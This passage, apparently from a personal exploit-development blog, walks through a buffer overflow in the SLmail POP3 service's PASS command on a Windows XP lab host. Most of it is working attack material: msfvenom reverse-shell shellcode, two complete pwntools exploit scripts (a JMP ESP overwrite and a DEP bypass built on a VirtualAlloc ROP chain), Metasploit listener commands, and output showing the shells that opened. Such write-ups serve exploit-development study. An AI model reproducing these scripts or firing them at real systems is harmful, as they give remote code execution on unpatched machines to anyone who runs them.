buf += b"\xd7\x79\x5b\xda\xcf\x9e\x66\x94\x64\x54\x1c\x27\xac"
buf += b"\xa4\xdd\x84\x91\x08\x2c\xd4\xd6\xaf\xcf\xa3\x2e\xcc"
buf += b"\x72\xb4\xf5\xae\xa8\x31\xed\x09\x3a\xe1\xc9\xa8\xef"
buf += b"\x74\x9a\xa7\x44\xf2\xc4\xab\x5b\xd7\x7f\xd7\xd0\xd6"
buf += b"\xaf\x51\xa2\xfc\x6b\x39\x70\x9c\x2a\xe7\xd7\xa1\x2c"
buf += b"\x48\x87\x07\x27\x65\xdc\x35\x6a\xe2\x11\x74\x94\xf2"
buf += b"\x3d\x0f\xe7\xc0\xe2\xbb\x6f\x69\x6a\x62\x68\x8e\x41"
buf += b"\xd2\xe6\x71\x6a\x23\x2f\xb6\x3e\x73\x47\x1f\x3f\x18"
buf += b"\x97\xa0\xea\x8f\xc7\x0e\x45\x70\xb7\xee\x35\x18\xdd"
buf += b"\xe0\x6a\x38\xde\x2a\x03\xd3\x25\xbd\xec\x8c\x2d\xa1"
buf += b"\x85\xce\x2d\xc8\x09\x46\xcb\x80\xa1\x0e\x44\x3d\x5b"
buf += b"\x0b\x1e\xdc\xa4\x81\x5b\xde\x2f\x26\x9c\x91\xc7\x43"
buf += b"\x8e\x46\x28\x1e\xec\xc1\x37\xb4\x98\x8e\xaa\x53\x58"
buf += b"\xd8\xd6\xcb\x0f\x8d\x29\x02\xc5\x23\x13\xbc\xfb\xb9"
buf += b"\xc5\x87\xbf\x65\x36\x09\x3e\xeb\x02\x2d\x50\x35\x8a"
buf += b"\x69\x04\xe9\xdd\x27\xf2\x4f\xb4\x89\xac\x19\x6b\x40"
buf += b"\x38\xdf\x47\x53\x3e\xe0\x8d\x25\xde\x51\x78\x70\xe1"
buf += b"\x5e\xec\x74\x9a\x82\x8c\x7b\x71\x07\xbc\x31\xdb\x2e"
buf += b"\x55\x9c\x8e\x72\x38\x1f\x65\xb0\x45\x9c\x8f\x49\xb2"
buf += b"\xbc\xfa\x4c\xfe\x7a\x17\x3d\x6f\xef\x17\x92\x90\x3a"

Now that I have generated a payload with msfvenom, I need to craft an exploit that will overwrite the EIP register with the address of ESP, where the malicious payload will be waiting for execution.  Since I have identified the bad-bytes within the payload, I can go back and get the JMP ESP instruction by using the following command.

!mona jmp -r esp -cpb '\x00\x0a\x0d'

From the output, I chose the JMP ESP instruction at 0x7608bce1 , which was part of the MSVCP60.dll. Now that I have the ESP address, I can write the exploit as seen below.

#!/usr/bin/env python3
from pwn import *


buf = "\xd9\xc7\xba\x9f\x04\x84\x0f\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x77\xf8\x66"
buf += "\xfa\x7b\xe9\xe5\x05\x83\xea\x89\x8c\x66\xdb\x89\xeb"
buf += "\xe3\x4c\x3a\x7f\xa1\x60\xb1\x2d\x51\xf2\xb7\xf9\x56"
buf += "\xb3\x72\xdc\x59\x44\x2e\x1c\xf8\xc6\x2d\x71\xda\xf7"
buf += "\xfd\x84\x1b\x3f\xe3\x65\x49\xe8\x6f\xdb\x7d\x9d\x3a"
buf += "\xe0\xf6\xed\xab\x60\xeb\xa6\xca\x41\xba\xbd\x94\x41"
buf += "\x3d\x11\xad\xcb\x25\x76\x88\x82\xde\x4c\x66\x15\x36"
buf += "\x9d\x87\xba\x77\x11\x7a\xc2\xb0\x96\x65\xb1\xc8\xe4"
buf += "\x18\xc2\x0f\x96\xc6\x47\x8b\x30\x8c\xf0\x77\xc0\x41"
buf += "\x66\xfc\xce\x2e\xec\x5a\xd3\xb1\x21\xd1\xef\x3a\xc4"
buf += "\x35\x66\x78\xe3\x91\x22\xda\x8a\x80\x8e\x8d\xb3\xd2"
buf += "\x70\x71\x16\x99\x9d\x66\x2b\xc0\xc9\x4b\x06\xfa\x09"
buf += "\xc4\x11\x89\x3b\x4b\x8a\x05\x70\x04\x14\xd2\x77\x3f"
buf += "\xe0\x4c\x86\xc0\x11\x45\x4d\x94\x41\xfd\x64\x95\x09"
buf += "\xfd\x89\x40\x9d\xad\x25\x3b\x5e\x1d\x86\xeb\x36\x77"
buf += "\x09\xd3\x27\x78\xc3\x7c\xcd\x83\x84\x42\xba\x83\xc8"
buf += "\x2b\xb9\x93\xe1\xf7\x34\x75\x6b\x18\x11\x2e\x04\x81"
buf += "\x38\xa4\xb5\x4e\x97\xc1\xf6\xc5\x14\x36\xb8\x2d\x50"
buf += "\x24\x2d\xde\x2f\x16\xf8\xe1\x85\x3e\x66\x73\x42\xbe"
buf += "\xe1\x68\xdd\xe9\xa6\x5f\x14\x7f\x5b\xf9\x8e\x9d\xa6"
buf += "\x9f\xe9\x25\x7d\x5c\xf7\xa4\xf0\xd8\xd3\xb6\xcc\xe1"
buf += "\x5f\xe2\x80\xb7\x09\x5c\x67\x6e\xf8\x36\x31\xdd\x52"
buf += "\xde\xc4\x2d\x65\x98\xc8\x7b\x13\x44\x78\xd2\x62\x7b"
buf += "\xb5\xb2\x62\x04\xab\x22\x8c\xdf\x6f\x52\xc7\x7d\xd9"
buf += "\xfb\x8e\x14\x5b\x66\x31\xc3\x98\x9f\xb2\xe1\x60\x64"
buf += "\xaa\x80\x65\x20\x6c\x79\x14\x39\x19\x7d\x8b\x3a\x08"

# Payload
payload = 'A' * 2606  # EIP contains normal pattern : 0x39694438 (offset 2606)
payload += struct.pack('<L', 0x7608bce1).decode('latin-1')
payload += '\x90' * 12  # the stack needed 12 bytes to fix mis-aligned stack
payload += buf
payload += 'B' * (4000 - len(payload))


def execute(_host: str, _port: int):
    # Connection Logic
    conn = remote(_host, _port)
    conn.recvline()  # b'+OK POP3 server WIN-XP-SP3 ready <[email protected]>'
    log.info("Sending USER data...")
    conn.send('USER d3d\r\n')
    assert conn.recvuntil(' ', drop=True) == b'+OK'
    log.info(f"Sending PASS with {len(payload)} character pattern")
    conn.send(f'PASS {payload}\r\n')


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]} <ip address> <port>")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    execute(host, port)

Because I am using the Metasploit reverse shell, I need to set up a listener with Metasploit by using the following commands.

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.8.156
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.8.156:4444

Once the handler was started, I ran the exploit…

python3 pwn_exploit_nodep.py 192.168.8.160 110

And about 5 seconds later on the Metasploit listener…

[*] Command shell session 4 opened (192.168.8.156:4444 -> 192.168.8.160:1088) at 2020-01-23 13:21:46 -0500



C:\Program Files\SLmail\System>net user
net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            ASPNET                   Guest                    
HelpAssistant            SUPPORT_388945a0         
The command completed with one or more errors.

Bingo!  The exploit worked and spawned a reverse shell!  Now time to focus on defeating DEP protected services.

Exploit – DEP

To bypass the non-executable stack protection, I can use the ret2libc (return to libc) technique.  I can look in memory for pointers to instructions I want to execute followed by a RET instruction, then chain them together on the stack.  This technique is known as ROP (return-oriented programming), the set of instructions referenced by the pointers are known as ROP gadgets, and the set of pointers to instructions is the ROP chain.  Some of the more interesting pointers for bypassing DEP are…

For this specific example I will be using the VirtualAlloc function to reserve or commit a region of pages in the virtual address space of the calling process.  This will allow me to set the shellcode memory as executable.

VirtualAlloc C++ Pointer

Above is the C++ syntax for the function VirtualAlloc, and it order to use this function within our code I will need to set up the stack as seen below.

EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)

As you would have guessed, mona.py has a tool to assist in setting up the stack as seen above, by using the following command.

!mona rop

The above command will create the files rop.txt, rop_chains.txt, rop_suggestions.txt, and stackpivot.txt within our working directory. I am going to open rop_chains.txt to examine the VirtualAlloc Python code as seen below.

def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x00000000,  # [-] Unable to find API pointer -> eax
      0x7c902afc,  # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x04 [ntdll.dll] 
      0x7c94d192,  # XCHG EAX,ESI # RETN [ntdll.dll] 
      0x41414141,  # Filler (RETN offset compensation)
      0x7c96f5b9,  # POP EBP # RETN [ntdll.dll] 
      0x7c919db0,  # & push esp # ret  [ntdll.dll]
      0x7c90e894,  # POP EBX # RETN [ntdll.dll] 
      0x00000001,  # 0x00000001-> ebx
      0x7c90e2bc,  # POP EDX # RETN [ntdll.dll] 
      0x00001000,  # 0x00001000-> edx
      0x7c96b602,  # POP ECX # RETN [ntdll.dll] 
      0x00000040,  # 0x00000040-> ecx
      0x7c90277a,  # POP EDI # RETN [ntdll.dll] 
      0x7c902582,  # RETN (ROP NOP) [ntdll.dll]
      0x7c9721fc,  # POP EAX # POP EBP # RETN [ntdll.dll] 
      0x90909090,  # nop
      0x41414141,  # Filler (compensate)
      0x7c94d22b,  # PUSHAD # RETN [ntdll.dll] 
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

  rop_chain = create_rop_chain()

As you can see by the highlighted line above, that this ROP chain is not going to work in my exploit because there are some gadgets missing. Also, I didn’t parse out the bad characters when generating the ROP chain. By default mona.py excludes the operating system DLLs when looking for gadgets to make exploits more reliable, but if no valid gadgets are found I can force mona.py to include them with the -m option.

To get a list of loaded modules you can use the following command.

!mona modules
0BADF00D   [+] Command used:
0BADF00D   !mona modules

           ---------- Mona command started on 2019-11-20 15:46:20 (v2.0, rev 596) ----------
0BADF00D   [+] Processing arguments and criteria
0BADF00D       - Pointer access level : X
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Module info :
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------
0BADF00D    0x76080000 | 0x760e5000 | 0x00065000 | False  | True    | False |  False   | True   | 6.02.3104.0 [MSVCP60.dll] (C:\WINDOWS\system32\MSVCP60.dll)
0BADF00D    0x00340000 | 0x0036a000 | 0x0002a000 | True   | False   | False |  False   | False  | 1.0 [ARM.dll] (C:\Program Files\SLmail\ARM.dll)
0BADF00D    0x00e90000 | 0x01155000 | 0x002c5000 | True   | True    | False |  False   | True   | 5.1.2600.5512 [xpsp2res.dll] (C:\WINDOWS\system32\xpsp2res.dll)
0BADF00D    0x7c800000 | 0x7c8f6000 | 0x000f6000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [kernel32.dll] (C:\WINDOWS\system32\kernel32.dll)
0BADF00D    0x77c10000 | 0x77c68000 | 0x00058000 | False  | True    | False |  False   | True   | 7.0.2600.5512 [msvcrt.dll] (C:\WINDOWS\system32\msvcrt.dll)
0BADF00D    0x7c900000 | 0x7c9af000 | 0x000af000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ntdll.dll] (C:\WINDOWS\system32\ntdll.dll)
0BADF00D    0x10000000 | 0x10007000 | 0x00007000 | False  | False   | False |  False   | True   | 4.3.0.2 [Openc32.dll] (C:\WINDOWS\system32\Openc32.dll)
0BADF00D    0x71a90000 | 0x71a98000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [wshtcpip.dll] (C:\WINDOWS\System32\wshtcpip.dll)
0BADF00D    0x00400000 | 0x0045c000 | 0x0005c000 | False  | False   | False |  False   | False  | 5.1 [SLmail.exe] (C:\Program Files\SLmail\SLmail.exe)
0BADF00D    0x76fc0000 | 0x76fc6000 | 0x00006000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [rasadhlp.dll] (C:\WINDOWS\system32\rasadhlp.dll)
0BADF00D    0x77fe0000 | 0x77ff1000 | 0x00011000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [Secur32.dll] (C:\WINDOWS\system32\Secur32.dll)
0BADF00D    0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2HELP.dll] (C:\WINDOWS\system32\WS2HELP.dll)
0BADF00D    0x774e0000 | 0x7761d000 | 0x0013d000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ole32.dll] (C:\WINDOWS\system32\ole32.dll)
0BADF00D    0x77f60000 | 0x77fd6000 | 0x00076000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHLWAPI.dll] (C:\WINDOWS\system32\SHLWAPI.dll)
0BADF00D    0x662b0000 | 0x66308000 | 0x00058000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [hnetcfg.dll] (C:\WINDOWS\system32\hnetcfg.dll)
0BADF00D    0x7e410000 | 0x7e4a1000 | 0x00091000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [USER32.dll] (C:\WINDOWS\system32\USER32.dll)
0BADF00D    0x763b0000 | 0x763f9000 | 0x00049000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [comdlg32.dll] (C:\WINDOWS\system32\comdlg32.dll)
0BADF00D    0x76c90000 | 0x76cb8000 | 0x00028000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [IMAGEHLP.dll] (C:\WINDOWS\system32\IMAGEHLP.dll)
0BADF00D    0x77120000 | 0x771ab000 | 0x0008b000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [OLEAUT32.dll] (C:\WINDOWS\system32\OLEAUT32.dll)
0BADF00D    0x7c9c0000 | 0x7d1d7000 | 0x00817000 | False  | True    | False |  False   | True   | 6.00.2900.5512 [SHELL32.dll] (C:\WINDOWS\system32\SHELL32.dll)
0BADF00D    0x77e70000 | 0x77f02000 | 0x00092000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [RPCRT4.dll] (C:\WINDOWS\system32\RPCRT4.dll)
0BADF00D    0x76f20000 | 0x76f47000 | 0x00027000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [DNSAPI.dll] (C:\WINDOWS\system32\DNSAPI.dll)
0BADF00D    0x76fd0000 | 0x7704f000 | 0x0007f000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [CLBCATQ.DLL] (C:\WINDOWS\system32\CLBCATQ.DLL)
0BADF00D    0x76fb0000 | 0x76fb8000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [winrnr.dll] (C:\WINDOWS\System32\winrnr.dll)
0BADF00D    0x77050000 | 0x77115000 | 0x000c5000 | False  | True    | False |  False   | True   | 2001.12.4414.700 [COMRes.dll] (C:\WINDOWS\system32\COMRes.dll)
0BADF00D    0x76f60000 | 0x76f8c000 | 0x0002c000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WLDAP32.dll] (C:\WINDOWS\system32\WLDAP32.dll)
0BADF00D    0x5f400000 | 0x5f4f4000 | 0x000f4000 | False  | False   | False |  False   | True   | 6.00.8063.0 [SLMFC.DLL] (C:\WINDOWS\system32\SLMFC.DLL)
0BADF00D    0x5d090000 | 0x5d12a000 | 0x0009a000 | False  | True    | False |  False   | True   | 5.82 [COMCTL32.dll] (C:\WINDOWS\system32\COMCTL32.dll)
0BADF00D    0x00330000 | 0x00339000 | 0x00009000 | True   | False   | False |  False   | True   | 1.1 [ExcptHnd.dll] (C:\WINDOWS\system32\ExcptHnd.dll)
0BADF00D    0x77f10000 | 0x77f59000 | 0x00049000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [GDI32.dll] (C:\WINDOWS\system32\GDI32.dll)
0BADF00D    0x77c00000 | 0x77c08000 | 0x00008000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [VERSION.dll] (C:\WINDOWS\system32\VERSION.dll)
0BADF00D    0x77dd0000 | 0x77e6b000 | 0x0009b000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ADVAPI32.dll] (C:\WINDOWS\system32\ADVAPI32.dll)
0BADF00D    0x00370000 | 0x0038f000 | 0x0001f000 | True   | False   | False |  False   | True   | 1.1 [Antares.dll] (C:\WINDOWS\system32\Antares.dll)
0BADF00D    0x71ab0000 | 0x71ac7000 | 0x00017000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [WS2_32.dll] (C:\WINDOWS\system32\WS2_32.dll)
0BADF00D    0x71a50000 | 0x71a8f000 | 0x0003f000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [mswsock.dll] (C:\WINDOWS\system32\mswsock.dll)
0BADF00D    0x769c0000 | 0x76a74000 | 0x000b4000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [userenv.dll] (C:\WINDOWS\system32\userenv.dll)
0BADF00D   -----------------------------------------------------------------------------------------------------------------------------------------

After checking all the currently loaded modules, I decided to use msvcrt.dll to generate my ROP chain.  You can generate the code by using the following command.

!mona rop -m msvcrt.dll -cpb '\x00\x0a\x0d'

The above command should generate a rop_chain.txt file which should contain a VirtualAlloc ROP chain for us as seen below.

def create_rop_chain():

  # rop chain generated with mona.py - www.corelan.be
  rop_gadgets = [
    0x77c1c21b,  # POP EBP # RETN [msvcrt.dll] 
    0x77c1c21b,  # skip 4 bytes [msvcrt.dll]
    0x77c35515,  # POP EBX # RETN [msvcrt.dll] 
    0xffffffff,  #  
    0x77c127e5,  # INC EBX # RETN [msvcrt.dll] 
    0x77c127e1,  # INC EBX # RETN [msvcrt.dll] 
    0x77c4ded4,  # POP EAX # RETN [msvcrt.dll] 
    0x2cfe1467,  # put delta into eax (-> put 0x00001000 into edx)
    0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 
    0x77c58fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll] 
    0x77c5289b,  # POP EAX # RETN [msvcrt.dll] 
    0x2cfe04a7,  # put delta into eax (-> put 0x00000040 into ecx)
    0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 
    0x77c13ffd,  # XCHG EAX,ECX # RETN [msvcrt.dll] 
    0x77c46116,  # POP EDI # RETN [msvcrt.dll] 
    0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
    0x77c380c1,  # POP ESI # RETN [msvcrt.dll] 
    0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
    0x77c21d16,  # POP EAX # RETN [msvcrt.dll] 
    0x77c1110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
    0x77c12df9,  # PUSHAD # RETN [msvcrt.dll] 
    0x77c35459,  # ptr to 'push esp # ret ' [msvcrt.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

As can be seen, there are no missing pointers causing errors, and the opcodes do not contain bad characters.

This ROP chain to VirtualAlloc is going to make the stack executable, so we could execute our shellcode like when DEP was disabled.  To use the ROP chain, I need to add the chain just before the first instruction we need to execute on the stack, I also need to change the instruction I put in EIP for a RET instruction that loads the next pointer in the stack. Remember, I used a JMP ESP instruction in the last exploit, but now I can’t execute code on the stack, so when the JMP lands in the stack, the data there is not going to be executable and it will fail.

To find a good gadget to use for the RET instruction, I will check the rop.txt file that was generated during the last mona.py command. The following instruction should work.

0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}

The gadget above extracts the first value on the stack and moves it to ECX,  then makes a RET that loads the following value on the stack in to EIP.  That means that I need to put four bytes of junk data between the EIP and the ROP chain to avoid the first gadget of the chain being removed.

Because I am adding 88 bytes (ROP Gadgets) to the payload, I am now pushing over the limit of what ESP (430 bytes) can hold without moving ESP;  this is because the Metasploit payload is 351 bytes, I need 4 bytes of junk data, and then the 88 bytes from the ROP chain.  Since I can not fit 443 bytes into a space of only 430 bytes, I am going to add another instruction after the ROP chain to move ESP before executing the payload.

In order to move ESP, I need to generate the opcodes using the following script.

#!/usr/bin/env python3

from pwn import *

# Add -96 to ESP - No Bad-Bytes
print(asm('add esp, -96'))  # b'\x83\xc4\xa0'


This will move the stack pointer back 96 bytes before executing the payload.

Now I should be able to write an exploit to bypass DEP protection using the information above.

#!/usr/bin/env python3
from pwn import *


buf = "\xd9\xc7\xba\x9f\x04\x84\x0f\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x52\x31\x50\x17\x03\x50\x17\x83\x77\xf8\x66"
buf += "\xfa\x7b\xe9\xe5\x05\x83\xea\x89\x8c\x66\xdb\x89\xeb"
buf += "\xe3\x4c\x3a\x7f\xa1\x60\xb1\x2d\x51\xf2\xb7\xf9\x56"
buf += "\xb3\x72\xdc\x59\x44\x2e\x1c\xf8\xc6\x2d\x71\xda\xf7"
buf += "\xfd\x84\x1b\x3f\xe3\x65\x49\xe8\x6f\xdb\x7d\x9d\x3a"
buf += "\xe0\xf6\xed\xab\x60\xeb\xa6\xca\x41\xba\xbd\x94\x41"
buf += "\x3d\x11\xad\xcb\x25\x76\x88\x82\xde\x4c\x66\x15\x36"
buf += "\x9d\x87\xba\x77\x11\x7a\xc2\xb0\x96\x65\xb1\xc8\xe4"
buf += "\x18\xc2\x0f\x96\xc6\x47\x8b\x30\x8c\xf0\x77\xc0\x41"
buf += "\x66\xfc\xce\x2e\xec\x5a\xd3\xb1\x21\xd1\xef\x3a\xc4"
buf += "\x35\x66\x78\xe3\x91\x22\xda\x8a\x80\x8e\x8d\xb3\xd2"
buf += "\x70\x71\x16\x99\x9d\x66\x2b\xc0\xc9\x4b\x06\xfa\x09"
buf += "\xc4\x11\x89\x3b\x4b\x8a\x05\x70\x04\x14\xd2\x77\x3f"
buf += "\xe0\x4c\x86\xc0\x11\x45\x4d\x94\x41\xfd\x64\x95\x09"
buf += "\xfd\x89\x40\x9d\xad\x25\x3b\x5e\x1d\x86\xeb\x36\x77"
buf += "\x09\xd3\x27\x78\xc3\x7c\xcd\x83\x84\x42\xba\x83\xc8"
buf += "\x2b\xb9\x93\xe1\xf7\x34\x75\x6b\x18\x11\x2e\x04\x81"
buf += "\x38\xa4\xb5\x4e\x97\xc1\xf6\xc5\x14\x36\xb8\x2d\x50"
buf += "\x24\x2d\xde\x2f\x16\xf8\xe1\x85\x3e\x66\x73\x42\xbe"
buf += "\xe1\x68\xdd\xe9\xa6\x5f\x14\x7f\x5b\xf9\x8e\x9d\xa6"
buf += "\x9f\xe9\x25\x7d\x5c\xf7\xa4\xf0\xd8\xd3\xb6\xcc\xe1"
buf += "\x5f\xe2\x80\xb7\x09\x5c\x67\x6e\xf8\x36\x31\xdd\x52"
buf += "\xde\xc4\x2d\x65\x98\xc8\x7b\x13\x44\x78\xd2\x62\x7b"
buf += "\xb5\xb2\x62\x04\xab\x22\x8c\xdf\x6f\x52\xc7\x7d\xd9"
buf += "\xfb\x8e\x14\x5b\x66\x31\xc3\x98\x9f\xb2\xe1\x60\x64"
buf += "\xaa\x80\x65\x20\x6c\x79\x14\x39\x19\x7d\x8b\x3a\x08"


def generate_payload():
    # Payload
    payload = 'A' * 2606  # EIP contains normal pattern : 0x39694438 (offset 2606)
    payload += struct.pack('<L', 0x77c46027).decode('latin-1')  # 0x77c46027 : # POP ECX # RETN
    payload += struct.pack('<L', 0xd34db33f).decode('latin-1')  # 0xd34db33f : # junk data
    payload += create_rop_chain()
    payload += '\x83\xc4\xa0'                                   # add esp, -96
    payload += buf
    return payload


def create_rop_chain():
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
        0x77c1c21b,  # POP EBP # RETN [msvcrt.dll]
        0x77c1c21b,  # skip 4 bytes [msvcrt.dll]
        0x77c35515,  # POP EBX # RETN [msvcrt.dll]
        0xffffffff,  #
        0x77c127e5,  # INC EBX # RETN [msvcrt.dll]
        0x77c127e1,  # INC EBX # RETN [msvcrt.dll]
        0x77c4ded4,  # POP EAX # RETN [msvcrt.dll]
        0x2cfe1467,  # put delta into eax (-> put 0x00001000 into edx)
        0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c58fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
        0x77c5289b,  # POP EAX # RETN [msvcrt.dll]
        0x2cfe04a7,  # put delta into eax (-> put 0x00000040 into ecx)
        0x77c4eb80,  # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
        0x77c13ffd,  # XCHG EAX,ECX # RETN [msvcrt.dll]
        0x77c46116,  # POP EDI # RETN [msvcrt.dll]
        0x77c47a42,  # RETN (ROP NOP) [msvcrt.dll]
        0x77c380c1,  # POP ESI # RETN [msvcrt.dll]
        0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
        0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
        0x77c1110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
        0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
        0x77c35459,  # ptr to 'push esp # ret ' [msvcrt.dll]
    ]
    return ''.join(struct.pack('<I', _).decode('latin-1') for _ in rop_gadgets)


def execute(_host: str, _port: int):
    # Connection Logic
    conn = remote(_host, _port)
    conn.recvline()  # b'+OK POP3 server WIN-XP-SP3 ready <[email protected]>'
    log.info("Sending USER data...")
    conn.send('USER d3d\r\n')
    assert conn.recvuntil(' ', drop=True) == b'+OK'
    log.info(f"Sending PASS with DEP Bypass Exploit")
    conn.send(f'PASS {generate_payload()}\r\n')


if __name__ == '__main__':
    if len(sys.argv) != 3:
        exit(f"[?] Usage: {sys.argv[0]} <ip address> <port>")
    host = str(sys.argv[1])
    port = int(sys.argv[2])
    execute(host, port)

Because I am using the Metasploit reverse shell, I need to restart the listener with Metasploit by using the following commands.

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.8.156
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.8.156:4444

Once the handler was started, I ran the exploit…

python3 pwn_exploit_dep.py 192.168.8.160 110

And about 5 seconds later on the Metasploit listener…

[*] Command shell session 4 opened (192.168.8.156:4444 -> 192.168.8.160:1088) at 2020-01-23 13:21:46 -0500



C:\Program Files\SLmail\System>net user
net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            ASPNET                   Guest                    
HelpAssistant            SUPPORT_388945a0         
The command completed with one or more errors.

Bingo!  The exploit worked and spawned a reverse shell!  By using the ROP chain and a simple RET instruction I was able to bypass the DEP protection on the service.